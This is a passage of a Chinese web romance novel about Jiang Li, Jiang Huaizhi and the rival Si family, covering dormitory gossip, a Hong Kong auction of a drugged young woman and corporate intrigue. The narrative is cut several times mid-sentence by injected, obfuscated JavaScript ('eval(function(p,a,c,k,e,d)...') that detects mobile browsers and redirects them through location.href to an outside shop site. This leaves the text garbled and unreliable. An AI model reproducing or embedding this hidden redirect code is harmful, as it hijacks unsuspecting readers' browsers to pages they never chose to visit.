司南赫这么有恃无恐,是因为南诗奕的死,跟他其实没有关系?还是说,他觉得她的年纪太小,根本翻不起风浪,压根没把她放在眼里? 还有一个很重要的原因,那就是姜梨遵从了南诗奕的遗愿,没有去参加她的葬礼,没有去看她的遗体,所以司家人自然不会知道两个人的关系。 也就是说,南诗奕一早就知道她死后司家人会清理掉和她有关的一切人事物,她到死都还在保护姜梨。 每一个细节都反射出南诗奕的死不正常。 姜梨的头都要爆炸了! 她磨了一下后槽牙,恨恨的给江淮之发去了一条微信,手机屏幕被她点的发出“咚咚”声。 司家老宅。 傅绾有些拘谨的坐在沙发上,她面对的是司承德和司老爷子,她要跟他们汇报前两天发生的事情。 从头到尾,完完整整的叙述了一遍。 司老爷听完傅绾的话,眼中闪过一丝诧异,“淮之真的没有管过姜梨吗?” 傅绾摇头,“没有,甚至还对她发了脾气,让她慎言。” 司承德的心里微微松了口气,江淮之比起司南赫,确实更适合当司家的掌权人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293818|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在江城西巷那种至暗的地方生存下来的人,阴狠毒辣是基本,都是没有心和感情的怪物。 他连自己亲生母亲的死活都不管,更何况是姜梨? “那你和淮之进展怎么样?” 傅绾听到这句话,沉默了好一会,才小声的开口:“没有进展,江总对我一直都是温和的态度,但是有点冷淡。” 司承德和司老爷没有什么表情变化,这都是在意料之中的事情,要是不冷淡那才真的是见了鬼了。 “好了,我叫管家送你回去吧。” 待傅绾离开后,司老爷子看着司承德,意味深长道:“江淮之比小赫更像是你的儿子。” 司承德低着头没有说话。 “你去跟小赫说一下。”司老爷没有再多说什么,他站了起来,对司承德道:“过段时间就是陆老爷子的寿宴了,到时候他和诗予订婚的事情,都这么久了,也是时候公开了。他现在虽然已经不是掌权人,但是和陆家的关系也是需要他稳固的。” “让他别再为了一个已经死去多年的人,做一些不值当的事情。” . 司氏集团的大楼位于北城最中心的位置。 总裁办,女人压抑的啜泣声有些刺耳。 江淮之坐在办公桌前,没有看跪在地上的舒羽。面无表情的在看简清时发给他的,从通讯公司里调出来的姜梨的通话记录。 干干净净,没有丝毫的纰漏。 她的那个帮手,做事还挺周全,本事也很大,能黑进系统清理痕迹。 舒羽哭得梨花带雨,跪在地上身体都在不断的颤抖,无助又可怜。 本小章还未完,请点击下一页继续阅读后 面精彩内容! 第30章 我可以帮你见陆家人 江淮之,“进来。” 司南赫这才迈开步子走进去,他把文件放在了办公桌上。 江淮之翻开扫了几眼,是和别家公司的一个合作项目的合约,他拎起一支笔签了自己的名字。 “大哥。”司南赫拿起签完字的文件,要走的时候想了想,还是对江淮之说了一句:“公司上下都是人,传到爷爷和爸爸耳朵里,你会很麻烦,尤其是你现在和傅绾还在谈婚事。” 江淮之在外面的风评,其实很干净。 温文尔雅,谦逊有礼,洁身自好。 舒羽的事情,目前也只有司家人知道。因为没闹到明面上,大家也都只是睁一只眼闭一只眼。 司南赫口中的,对他的风评不好估计也只是指舒羽的身份和他并不对等,尤其是她还是江淮之的下属。 北城赫赫有名的江总,潜规则女下属。 光是想一想,就能猜到外界会说的有多难听,还会影响司氏的股价。 江淮之的表情不变,淡淡开口,“今天不是只有你上来了吗?你不说就没人会知道。” 言外之意就是,如果司承德和司老爷因为这个而来向江淮之问罪的话,就一定是司南赫说出去的。 “………”司南赫秒懂他的话外之音,然后扯开嘴角,无奈的笑了声,“大哥,不要对我有这么大的敌意,我不是爷爷和爸爸的人,也不是你的仇人。” 关上门的一瞬间,司南赫的最后一句话在江淮之耳边回荡,“我们是兄弟。” 嗤。 江淮之的唇边扬起一抹冷笑,互相利用的关系非要说成是兄弟,这话从嘴里说出来司南赫也不嫌恶心。 都不是一个妈生的,算哪门子的兄弟? “叮咚。” 微信的铃声提示音响了一声,把江淮之的思绪拉了回来。 他点开来看了一眼,一瞬间,带着冷意的眸子染上了笑。 二梨:“哪有哥哥会亲妹妹的?你就是一个老变态!” 领证那天,江淮之揭她的短,说她是小变态的事情姜梨一直记到了现在,今天就这样骂了回来,还连加了三个感叹号。 小姑娘还挺记仇。 他今天只是轻轻碰了一下,她就吓得一动不敢动。 也不知道之前她是哪里来的那么大的胆子就敢主动亲上来,动作还挺能唬人的,力道重的把他的嘴唇都磕破了。 吻技不能说生涩,简直就是烂。 但感觉好,江淮之差点剑走偏锋,对她犯错。 喉咙有些干涩,他一边点烟,一遍单手打字回复她的信息。 北城和樱洲的天气是两个极端,一边是晴空万里,另一边是阴雨连绵。 姜梨看到江淮之回过来的信息,眼睛瞬间瞪大,一时间气愤的想直接把手机隔空砸到他脸上去! “比不得你,第一次亲我就给我嘴巴亲破了,小变态。” 她都能想象出来,江淮之在发这句话的时候是个什么样的表情。 闷/骚.男。 姜梨自知说不过他,干脆选择当没看见,直接已读不回。 晚上吃过饭,姜梨在忙着小组作业的收尾,突然一个视频通话就弹了出来,吓了她一跳。 看了一眼,是江淮之的。 应该是到点了,来催她睡觉的。姜梨盘腿坐好,点了接听。 视频画面里的背景是在书房,江淮之应当是刚洗完澡,头发有些微湿,穿着白色的睡袍,领口处露出大片的皮肤,隐约能看到肌肉线条。 姜梨:“………” 就是说,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293819|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能穿的规矩一点吗? “做什么?”姜梨将视线移到他那张脸上,强迫自己不要乱瞟。 “看你乖不乖。”江淮之声音温润,“已经到点了,你该吃药睡觉了。” “像我们这个年纪的人,基本上都是十一二点才睡觉。”姜梨好看的眉毛蹙了起来,眼里带着些许嘲弄,“只有年纪奔三的,才会害怕自己身体不好,需要九点就睡觉。” 其实姜梨是想说肾虚的,但是想到江淮之这个人的闷/骚属性,她没敢直接说出来,而是换了一种委婉的说法。 江淮之沉默了一会儿,眼里多了一些玩味,“担心我身体不好?那你要不要验货?” 什么………?! 姜梨难以置信的看着他,他是怎么云淡风轻的说出来这种话的? 他还要不要脸! 眼看江淮之又要张嘴,姜梨是在怕他又说什么骇人听闻的话,急切的打断他:“我要睡觉了!我不跟你说了!” 然后“啪”的一声合上了电脑。 江淮之愣了一下,然后就是笑。 是个不经逗的傻女。 . 姜梨从大教室里走出来,准备回宿舍,补眠。 她今天早上从秋水湾回的学校,差点就迟到赶不上早八。 因为对付脖子那一块的痕迹花了一点时间,盖上了好几层粉底液才堪堪遮住。 今天起得早,又马不停蹄的朝着教室冲,连宿舍都没回,这会困的不行。 路上人来人往,不少人看着她窃窃私语。 许雾追上她,拍了拍她的肩膀,然后凑到她耳 边,低声问她:“你跟北城的那位江总,真的是兄妹吗?” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第31章 谢谢哥哥 十一月二十号,还有二十来天。 姜梨记得昨天江淮之说他近一个月都不会来樱洲,还要去港城,他会很忙。 他应该不会来。 “司家那边都会出席吗?”姜梨问他。 “除了江淮之,司家全部的人都会在。”叶辞只当她是害怕会碰到江淮之,没有多想,“江淮之从来没有出席过这样的宴会,连樱洲他都很少会来,不会碰上他的。” 司家人都会来,所以司南赫也一定在。 “不过,得委屈你一下。”叶辞薄唇微勾,“作为我的女伴,出席这场宴会。” 姜梨眉心跳了一下,然后眼神在叶辞身上扫视。 叶辞的外形条件其实挺优越的,是很硬朗的帅,光看长相的话会稍微有一点点凶。 姜梨去当叶辞的女伴,实在是谈不上委屈她。今时今日,她反而会被别人说成是攀高枝。 “叶二少有钱又有颜,我有什么好委屈的?” “少来,你要真觉得我有钱有颜,我追你那么久也没见你答应。”叶辞睨了她一眼,“让你昧着良心来当我的女伴,还不叫委屈吗?” 姜梨眼皮跳了一下,一时间有些无语凝噎。 “还有件事。”叶辞敛了敛神色,语气有些严肃,“港城那边,也会来人。” 姜梨的眼神呆滞了一瞬,叶辞说的应该是她的外祖父家,楚家。 楚家不能说是不待见姜梨,可以说是厌恶了。她的确是不想出现在楚家人面前,会无端惹来不少麻烦。 但是这次是她见司南赫和陆家人最好的机会了,姜梨不可能会放过。 南诗奕的死跟他们有关,姜祈安的死也跟他们有关。 “将来士挡,土来水淹。”姜梨耸了耸肩,然后笑了起来,“到时候要是楚家为难我,不是还有辞哥帮我吗?” 叶辞听到她喊的这声“辞哥”,心颤了一下,然后就是一阵细密的疼。 他扯起来一抹极为苦涩的笑,“你还真是没有心。” 姜梨只有在有求于他时,才会对他撒娇喊声“辞哥”。叶辞不是笨蛋,也不是眼瞎心盲,姜梨的眼里哪有半分撒娇时的温情?表情眼神都明晃晃的告诉他,我要开始利用你了。 叶辞的脑子是清醒的,但是他的心并不清醒。他还是会甘之如饴的为她这一句带有目的性的“辞哥”做任何事情,因为喜欢。 叶辞本就没有打算去玩什么暗恋的苦情戏码。所以他喜欢姜梨这件事,不说满城皆知,但是身边相熟的人无人不知。 同样,姜梨次次都拒绝的干脆,不留一丝余地和幻想。 明恋be和暗恋be叶辞也更喜欢前者。 姜梨并不赞同叶辞对自己的这句评价,开始为自己辩解,“我要是没有心,早就虚情假意的配合你演戏了,演到你心甘情愿的为我奉上一切我想要的一切。” 她的身上,背负着三条人命,三段仇恨。 姜梨从不否认自己的脆弱易碎,她全身上下最有用的也就只有她这张皮囊了。 虽然不想承认,但是姜梨和楚云不仅长得像。为达目的不择手段这一点,也是一模一样。 在姜梨的世界里,只要能报仇,别说让她去虚情假意的爱别人了,就算是要她卖身也没什么不可以的。 但是她偏偏比楚云多了一些人情味。 对自己真心实意的人,她从来不利用,比如叶辞,比如江淮之。 叶辞的眉梢不受控制的挑了一下。 “晚宴的礼服我会让人准备。”察觉到周围落过来的视线,叶辞站直了身体,“你要是有喜欢的款式或者是对礼服有什么要求可以在微信上告诉我,我先走了。” 姜梨应了一声,进了宿舍楼。 . “她说是就是吗?没准是爬了人家的床得来的一个名分。” 姜梨站在门前,听到了宿舍里的谈话,要开门的手停了下来,默默的掏出手机给江淮之发了条微信。 她实在是不想再费精力去收拾这两个爱乱嚼舌根的长舌妇,最简单粗暴的方法就是找江淮之帮忙咯~ “哥哥,你在忙吗?” 江淮之没有回复,而是直接一通电话打了过来。 姜梨毫不犹豫的迅速接通, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293820|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿舍里高声谈论的声音一字不落的透过听筒传进了江淮之的耳朵里。 “就是说。还妹妹呢,可以随时陪睡的情妹妹还差不多。” 许雾听到顾一心和季浅的话,眉毛深深蹙了起来,忍不住说了一句:“你们两个以前对姜梨不是很殷勤?我说姜梨怎么不搭理你们呢,搞半天,原来是两棵墙头草。我看那个上赶着爬床陪睡的,是你们两个才能干出来的事。” “许雾!你说什么呢!” 顾一心冷笑着看着她,“她说姜祈安曾经跟江淮之是旧交,那姜氏之前岌岌可危,姜祈安拆东墙补西壁的时候,怎么不见得江淮之帮一把?现在倒好,突然说江淮之是她哥,不是爬上床了谁信?” “拜托!”许雾都觉得一阵无语,像看白痴一样看着她们两个,“姜梨什么时候自己主动说过这件事?不都是你们听傅雪传出来的吗?而且人家傅雪也都说了是哥哥,是你们两个 非要在这儿嘴贱。怕是因为之前在姜梨那没得到过好脸色,现在看她孤身一人就想欺负她,才会玩这种造黄谣的烂把戏。” 季浅跟在顾一心后面帮腔,“之前靠她哥,现在又榜上了北城太子爷,就连那个李琛都为了她去绑架沈月汐和傅雪,已经去蹲大牢了!许雾,我看你还是离她远点比较好,免得你也会变得不幸。” 姜梨一把推开门,眼神淡淡的在顾一心和季浅之间扫视,然后开了免提,对着电话另一头的江淮之说了一句:“哥哥,你听清楚吗?” 季浅和顾一心愣住了。 江淮之“嗯”了一声,声音听不出喜怒,“简清时在樱洲,我会让他来处理。电话录音我会发给他,当证据。其他你不用管,免得弄脏手。” 刚刚还趾高气昂的两个人,在听到江淮之的声音后,一张脸“刷”的一下变得惨白。 姜梨看她们两个像川剧变脸似的,心情顿时舒畅了,说话的语调都不自觉的甜了几分,尾音上扬,“谢谢哥哥~” 江淮之听着她勾起来的那个尾音,喉咙发紧。甜而不腻,娇而不妖,说的就是姜梨。 电话被挂断,他拉开窗户,站在窗边点了一支烟。 第32章 我妻管严 简清时来的速度很快。 季浅和顾一心是被怒气冲冲赶过来的辅导员叫走的,其他宿舍的人纷纷探头出来观望,不明所以。 许雾开心了,胳膊搭在姜梨的肩膀上,“长舌妇的报应来咯~” “怎么样?”姜梨微微侧头看着她,桃花眼微弯,“这感觉爽不爽?” “可太爽了!”许雾压了压心绪,转而问了姜梨一个问题,“你应该挺了解江总的吧?顾一心和季浅的下场会怎么样?” 姜梨还真不知道江淮之会怎么处理,她想了一下,“可能,以后宿舍里就只有我们两个住了。至于顾一心和季浅,开除倒是不至于,樱大不会随便开人,反正她们不敢再来找麻烦就是了。” 这样就挺好,姜梨的耳根还能得个清净,再也不用天天听这两个人凑在一起蛐蛐别人了。 姜梨坐在书桌前,登上自己已经很久没有用过的社交账号,开始翻空间里私密的相册。 她记得南诗奕之前穿过一套红色的礼服,因为过于惊艳,姜梨看到她发过来的照片时默默的存在了相册里。 但是不知道为什么,南诗奕后来并没有穿那套礼服出席活动,网络上流出来的照片里她穿的一袭简单的白色晚礼服。 当时姜梨还跟她吐槽过,白色晚礼服好看是好看,但是远远没有那件红色的合适,不应该换掉的。 南诗奕只跟她说了一句,司南赫不喜欢。 想着想着姜梨就忍不住冷笑了一下,然后找到那张照片,把南诗奕的脸给挡住,转手发给了叶辞。 顺带给他打了一行字:“我要这一款,细节必须一模一样。” 不喜欢?那她就非要在宴会那一天,让司南赫好好看个够。 趁着中午午休的时候,姜梨给阮经颜打了一通电话。 “二十号那天你抽一天时间出来呗?” 阮经颜,“怎么了?” “想请你帮忙画一幅人体画。” “帮谁?”阮经颜揉了揉发酸的脖颈,贼兮兮的笑了一声,“如果长得帅,我是一点问题都没有!” 姜梨“呵”了一声,“不怕简清时把你抓回去“剥皮抽筋”?姐姐,是帮我画。” 阮经颜拖腔带调的“哦”了一声,“我要是没记错,二十号那天不是陆家老爷子的寿宴吗?你要和江淮之一起?让我给你画人体画,这是又憋啥坏水了?” “不是江淮之,他这段时间忙,没空。”姜梨躺在床上,翻了个身,“我跟叶辞一起,他说要带我见见世面,我就答应了。你们家也去吗?那你要是抽不出空也没事。” 阮经颜,“我们家去,但我不去。姜小梨好不容易有事找我帮忙,我还能不帮吗?行了,我要补觉了,下午还要继续给人卖命当黑奴。” 姜梨,“爱你,么么么~” 阮经颜起了一身的鸡皮疙瘩,低声骂了她一句,利落的挂断了电话。 . 一个星期后,江淮之一行人乘坐私人飞机落在了港城。 港城并列的第一豪门是韩家和厉家,来接江淮之的,是韩家掌权人,韩斯年。 在看到随行者里居然有一个女人时,他的眼神微微顿了顿。 舒羽的头微微低着,不敢乱看。 她的身上穿着一身黑色的职业套装,那张脸看着是挺漂亮。 韩斯年没有多问,领着人进了公司大楼,乘上了专用电梯,按下了两个楼层。 他和江淮之自然是要去总裁办谈事情的,谢铭和舒羽就算是江淮之的心腹,也必须得回避。 “叮”的一声,电梯到达。 韩斯年的助理引着舒羽和谢铭走出了电梯。 总裁办的装修风格很单调,是有些压抑的黑白色调。几面书柜,办公桌上摆放着电脑,室内放了两张真皮沙发。 没有外人在,韩斯年总算是松了下来,对着江淮之恭敬的喊了一声,“大哥。” “我让你查的事情有眉目了吗?”江淮之坐在沙发上,姿态慵懒随意。 “姜祈安的死可以确认是正常死亡,没有幕后黑手,沈叙的嫌疑可以排除了。”韩斯年虽是港城人,但说话时却没有这边的口音,语调略微有些沉重,“但是可以确认的是,北城沈家那边一直都在和港城楚家勾结在一起运毒。” 江淮之挑起眼皮,冷冷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293821|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睨了他一眼,“我从北城过来,不是来听你说废话的。沈叙和楚家在运毒这条线索我一开始就已经给你了,还需要你帮我确认?” “这就是你在这卧底这么久,给我的答案?” “连一个大学没毕业的小姑娘,脑子都比你转的要快。”江淮之似笑非笑,“姜祈安在天上看你这么办事,估计都已经急得团团转,晚上就要来找你谈心了。” 一连串的话让韩斯年连反驳的话都说不出来。他知道江淮之要的不是空话,而是板上钉钉的证据。 奈何沈家和楚家的水实在太深,根本就抓不到把柄,他们背后还有一个更大的幕后黑手在暗处当他们的保护伞。 韩斯年也不敢贸然的穷追猛打,怕被发现身份后得不偿失,连累韩家不说,没准还会让江淮之丢掉半条命。 江淮之捏了捏眉心,“ 姜祈安的事情我和陆七来查,港城这边你和楚卿然两个人盯着,这段时间别再和警方秘密联系了,沈家老大已经在开始怀疑港城这边有问题了。” “明白。”韩斯年眼睫低垂,“大哥,你还要在司家待多久?” “等这一次成功收网吧。”江淮之的手里把玩着一个打火机,“不过也不一定会回来。” 这话让韩斯年不淡定了,声音都拔高了许多,“你当初为了坐稳韩家付出了多少?现在说不要就不要了?在司家那种虎穴里待久了,还能出感情不成?你还真想让我这个代理总裁做一辈子?” 江淮之听着他一连串的问句依旧面不改色,淡淡出声:“这就得看你大嫂是喜欢北城多一点还是喜欢港城多一点了,她在哪我就在哪。” 大嫂?什么大嫂?谁是他大嫂? 韩斯年想起来江淮之这一次来,带在身边的那个女人,头皮一阵发麻,“你的结婚对象,该不会是你这次带着的这个小助理吧?” 江淮之没有承认,也没有否认。只笑着说了一句:“我妻管严。” 他误会也好,要是他说这个人是姜梨,韩斯年真的会跑到北城去姜祈安的墓碑前痛骂他的“恶行”。 现在还不是一个好时机。 韩斯年:“………” 第33章 你跟谢鹤扬有过节? 江淮之放下交叠的腿,没有再继续这个话题。想到此行还有另一个目的,看着韩斯年问他,“今晚港城是不是有个拍卖会?” 韩斯年应了一声,然后想到什么皱起了眉,“听说还有一个大活人,前几天抵押给赌场的一个小姑娘,长得还挺漂亮。” 不漂亮的话,也就不会被送到这样大规模的拍卖夜场上了。 江淮之转动拇指上的玉指板,表情意味不明,“那你晚上和我去一趟?我也想看看能有多漂亮。” 韩斯年看着他的眼神顿时开始不对劲了,像见了鬼,“不是,大哥。” “你这样大嫂知道吗?” 江淮之身体后仰,没有回答他的话。 这样的情形,落在韩斯年眼里就成了默认,答案也就是不知道。 他一直以为江淮之这样的人,就算没有多少感情,但是好歹也是有原则的。起码他不好色,脾性说不上好,算得上疏离的温和。 况且他刚刚才说他妻管严,这会又说出来这样的话。 妥妥的斯文败类,还挺渣。 韩斯年吸了一口气,猜不透江淮之的心思,最好的解决方法就是服从,“行,我安排。” “对了。”江淮之起身站起来,对韩斯年说了一句:“我目前是隐婚,不要瞎叫。” 韩斯年:“………” . 两辆黑色轿车一前一后的在拍卖会场门口停了下来,经理已经以前等在了门口。迎着两个男人走进去。 拍卖会场内灯光有些暗,江淮之和韩斯年坐在了第一排。 主持人上台,宣布拍卖会开始。 他的话音刚落下,两名工作人员就已经抬着一个被盖着步的人放在了长桌上。 顿时间,现场一片哗然,是兴奋,是期待。 “这是我们的第一件拍品,起拍价,70万!” 盖着的白布被掀开,女人的脸在一束白光下格外清纯可人,身上换上的衣服几近透明,白皙的皮肤一览无余。 看着不过二十岁出头的年纪,身形却要更瘦弱娇小一些,身材却很不错。 她的脸上还挂着未干的泪痕,眼睛周围的皮肤很红,显得那张青涩稚嫩的脸越发动人。 她的身体,在微微的颤抖,脸色一片惨白。 韩斯年看着躺在上面的人,看着那张脸,一下子就联想到了今天江淮之的那个小助理,他的大嫂。 两个人不能说九分像,但是也有个七八分像了,不是姐妹都说不过去。 看了这么一眼,韩斯年就已经明白了江淮之来这场拍卖会的用意。 这个小姑娘是被人卖到赌场抵押赌债的,因为长相可以,才被送到了拍卖场上,供港城的大佬们消遣。 江淮之这是来救人的。 “虽比不上我们港城的尤物,但是也算得上是位仙女,是一个漂亮的女大学生,今天还非要尝尝鲜,看看是不是跟长相一样清纯!” “120万!” 谈论声刚落下,就已经有人开始出价。 “200万!” “250万!” 眼看就要定在二百五十万,江淮之不疾不徐的开口,“300万。” 因为声音出在第一排,能在第一排坐着的都是大佬,吸引来不少人的视线。 这么一会的功夫,已经有人认出江淮之了。 “这不是北城司家的江淮之吗?” “那个在北城一手遮天的大佬,怎么会去拍下一个这样的女人?” “三百万一次!三百万两次………” “五百万!”另一道声音骤然响起,出价的是同样坐在第一排的谢鹤扬,谢家的老二。 “七百万。” 谢鹤扬像是跟江淮之杠上了,“一千万!” “两千万。” “三千万!” 两个人争先恐后,谁也不想退让,从起拍价的70万硬生生被抬到了五千万的高价。 会场内的人都是人精,也嗅出来一点不同寻常的味道——谢家的小霸王与这位北城的太子爷不对付。 “三千万一次!三千万两次!三千万……” 谢鹤扬冷笑了一声,“五千万!” 他今天就算不能让江淮之空手而归,他也要恶心他一下,让他花天价去拍下一个不值这个价钱的东西。 韩斯年的眼皮连跳了两下。 谢鹤扬这样,谢鹤枭知道吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293822|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “一亿。” 江淮之面不改色的将价格翻了个倍,韩斯年忍不住倒吸了一口凉气。 谢鹤扬满意了,消停了下来,没再继续跟他杠。 他掀起眼皮,打量着台上躺着的那个女人,然后唇边扯出一抹讽笑。 北城太子爷也不过如此,这么的眼瞎心盲。 随着“咚”的一声,一锤定音,成交了。 目的达到,江淮之也没继续在这个地方待下去,和韩斯年两个人离场。 . “小翎!” 谢铭抱着被送出来的舒翎,一直等在外面的舒羽立刻迎上去。 舒翎被人灌了麻醉药,全身都没有力气,身上盖着的衣服是谢铭的外套。 看到 赶过来的舒羽她的眼神愣了一下,脸色越发的苍白,声音嘶哑的喊了一声:“姐姐。” “你是不是………”舒翎想问舒羽是不是为了救下她,把自己给卖出去了,不然那个男人怎么可能愿意出一个亿的价钱把她赎出来? 她还没问出口,江淮之和韩斯年就走了出来,舒羽知道拍下她的人是江淮之,他的气场过于冷冽,吓得她立马噤了声。 “谢谢江总。”舒羽的眼眶通红,泪眼婆娑。 “不用。”江淮之轻扫了她一眼,然后看向谢铭,吩咐道:“送她们去韩家的私人医院,做全套的检查,看看除了麻醉剂之外,体内还有没有其他违禁品。” 谢铭微微颔首,“是。” 江淮之自然不可能再陪着她们去医院,他只负责救人出来,其他的他并不想管太多。 舒羽明白他的意思,没有再多说什么,跟着谢铭上了车。 韩斯年觉得奇怪,就算是隐婚,现在也没有外人在,他不去陪陪人家,安慰几句吗? 想到刚刚在拍卖场,要不是谢鹤扬来搅和,江淮之根本就不用花这个天价,韩斯年看着他问:“你跟谢鹤扬有过节?” “不认识他。”江淮之抬头看了一眼周围的高楼大厦,“倒是知道谢鹤枭,这一次司家那边有个项目要跟他谈合作。” 韩斯年的面部肌肉抽搐了一下。 不认识就是没有过节,那谢鹤扬今天是抽什么风? 第34章 他们都是姜祈安的人 “北城太子爷江淮之在港城拍卖会场怒砸一亿天价,抱得美人归!” “谢家二少谢鹤扬和北城司家掌权人江淮之争锋相对!只为博得美人一笑!” 拍卖会场发生的事情,经过一夜的加工发酵,已经在港城和北城传的沸沸扬扬。 在知道江淮之花下一个亿拍下的女人是舒羽的妹妹时,司老爷差点气的晕厥过去。傅家更是直接登门来找他,询问这是怎么一回事。 司老爷子今天算是嘴皮子都磨出了一朵花,才将傅家人安抚好。他将司承德喊到老宅,里里外外的把他怒骂了一通,气得呼吸都不顺畅了。 “先是一个小赫,现在又是一个淮之。”他的手掌拍着书桌,吹胡子瞪眼的看着司承德,“兄弟两个为了一个上不得台面的女人昏了头了!偏偏两个儿子都是你的种!” 司承德也觉得头痛,他的确没想到江淮之去港城会做这样的事情。面对司老爷的骂声,也说不出话反驳。 另一边的姜梨这段时间忙的脚不沾地,转专业是一件极其痛苦的事情,每天恨不得连吃饭睡觉都泡在图书馆里,才把缺漏的知识都恶补了回来。 两耳不闻窗外事,一心只读圣贤书。 饶是这样了她都能知道江淮之和谢鹤扬的这一段绯闻,可想而知,这在北城和港城的圈子里传成什么样了。 姜梨看着电脑上跳出来的江淮之和舒羽站在一起的照片,以及那些词条,唇边扬起来一抹讽刺意味极重的笑。 她还以为江淮之去港城是办正事,搞半天是特意去救舒羽的亲人的。 江淮之是怎么做到一心二用还游刃有余的? 他那天在秋水湾的时候才说过,只喜欢她没有过别人,结果呢?他在对她“告白”的时候,心里就已经在盘算着去救别人了。 好恶心! 顿时,姜梨就觉得自己像是吞了一只苍蝇,咽不下去也吐不出来,难受的想发疯。 本来就因为枯燥的课程和那些理论知识烦得不行,现在就更烦了,谁要是这个时候来点一把火,姜梨肯定会马上爆炸。 梦里南诗奕说的还真没有错,司家的男人的确没有一个好东西。 . 江淮之如约来到了谢宅。 佣人已经被遣散,整栋别墅就只有谢鹤枭和谢鹤扬两兄弟。 跟着江淮之的,只有谢铭。 “我对这个项目确实很感兴趣,合同比例我也没有任何异议。”谢鹤枭将手中的合同轻轻的放在了桌面上,手指轻轻敲击着桌面,“不过,我还有个问题,想跟江先生确认。” 桌上的茶杯还冒着热气,茶香四溢,沁人心脾。 江淮之闻言,看着他的眼神带了一丝深意:“谢总请说。” 谢鹤枭看了一眼坐在一边的谢鹤扬,缓缓开口,“不知江先生是否认识姜梨小姐?她现在是跟在您的身边?” 江淮之的眼神暗了暗,谢鹤枭认识姜梨? 他微微顿了一下,然后淡淡回答:“她是我妹妹。” 谢鹤扬听到江淮之的话,差点没憋住笑,语气轻佻讥讽,“妹妹在港城两年多,怎么从来不见你这个哥哥?江先生这个哥哥当的,还真是一点都不称职。” 谢鹤枭皱眉看了他一眼,沉声呵斥了他一声,“鹤扬!” 谢鹤扬冷哼了一声,没再说话。 姜梨替他挡了子弹,当时她已经处于濒死状态了,嘴里喊的一直都是江淮之的名字。 是眷恋,是不舍,是深爱。 江淮之可以为了别的女人砸一个亿不眨眼,也可以为了别的女人特意来港城。 但是姜梨在港城的那两年多,江淮之一次都没有来过。后来司家易主,他成了掌权人,北城的太子爷,也没有来过港城一次。 现在倒说是哥哥了,也好意思说得出口。 虽然知道感情这种事强求不来,但是谢鹤扬就是很不爽,尤其是江淮之看上的女人还没姜梨一半漂亮,他就更不爽了。 姜梨可是让谢鹤扬怀疑过自己性取向不正常的人,也是差点把他嫂子给抢走的女人。 是真正意义上的男女通吃。 好看到这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293823|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地步,江淮之居然都看不上她? 他是玉皇大帝啊?! 